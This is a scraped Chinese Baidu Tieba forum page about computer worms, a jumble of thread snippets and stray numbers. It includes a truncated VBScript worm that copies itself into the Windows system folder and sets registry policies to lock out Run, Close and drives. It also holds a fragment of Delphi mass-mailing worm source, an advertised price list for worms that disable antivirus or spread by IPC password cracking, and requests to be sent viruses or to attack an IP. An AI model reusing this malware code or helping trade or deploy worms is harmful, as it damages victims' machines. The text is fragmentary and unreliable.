-
-
0
-
0
-
0
-
16
-
3
-
0
-
0101022030经核实吧主恶魔古怪 未通过普通吧主考核。违反《百度贴吧吧主制度》第八章规定http://tieba.baidu.com/tb/system.html#cnt08 ,无法在建设 蠕虫吧 内容上、言论导向上发挥应有的模范带头作用。故撤销其吧主管理权限。百度贴吧管理组0300034…031006On Error Resume Next Set fs=createObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=createObject("Scripting.FileSystemObject") dim r Set r=createObject("Wscript.Shell") so.GetFile(WScript.ScriptFullName).Copy(dir2&"\tlzh.vbs") r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD" r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD" r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD" r.Reg44零点网络工作室出售的蠕虫的适用类型以及价位如下: 1:映像劫持蠕虫, 1200 -1500/1条。 2:伪装系统文件蠕虫, 1500-1800/1条。 3:禁止网络安全模式蠕虫, 1500/1条。 4:自启动蠕虫, 888/1条。 5:屏蔽杀毒软件蠕虫, 2000-2200/1条。 6:IPC口令破解传播蠕虫, 2000-2500/1条。 7:关安全工具蠕虫, 1500-1800/条。0同标题360我还以为这里真的满吧都是大条的蠕虫呢(笑),亏我刚把爱好转了21Uses Windows, Winsock; TYPE Triple = ARRAY[1..3] OF BYTE; Quad = ARRAY[1..4] OF BYTE; // Message Const Mess : String = 'This is test worm'; Var // Network string Domains : String; // Mail String Mails : String; //Base 64 Encode Buf : Array[0..255] Of Char; FileBuf : Array[0..1000000] Of Byte; CC : String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; // Lowercase Function. Function LowerCase(const S: string): string; var Len: Integer; begin Len := Length(S); SetString(Result, PChar(S), Len); if Len > 0 then CharLowerBuf1有 病毒的大神 帮帮小弟 发 到我的邮@iloveyou5205260@qq.com4(#汗!)1首先我想知道蠕虫病毒会随机复制我电脑里的文件作为附件通过邮件发送给别人吗 如果会能知道它复制过我电脑里的哪些文件吗 它发送的邮件我能查看到吗??0佑手の年华说他想当一回弟弟 来场禁忌之恋。0哈哈哈0路过4自从装上电脑以来,电脑被那个叫什么蠕虫王的天天攻击,一天几次,气都气死了,我查了一次IP是云南那里的,可是查了也没办法,他妈的,这些混蛋想干吗.我草他全家......那位兄弟帮忙攻击一下他,最好攻击到他的电脑黑屏,嘿嘿......0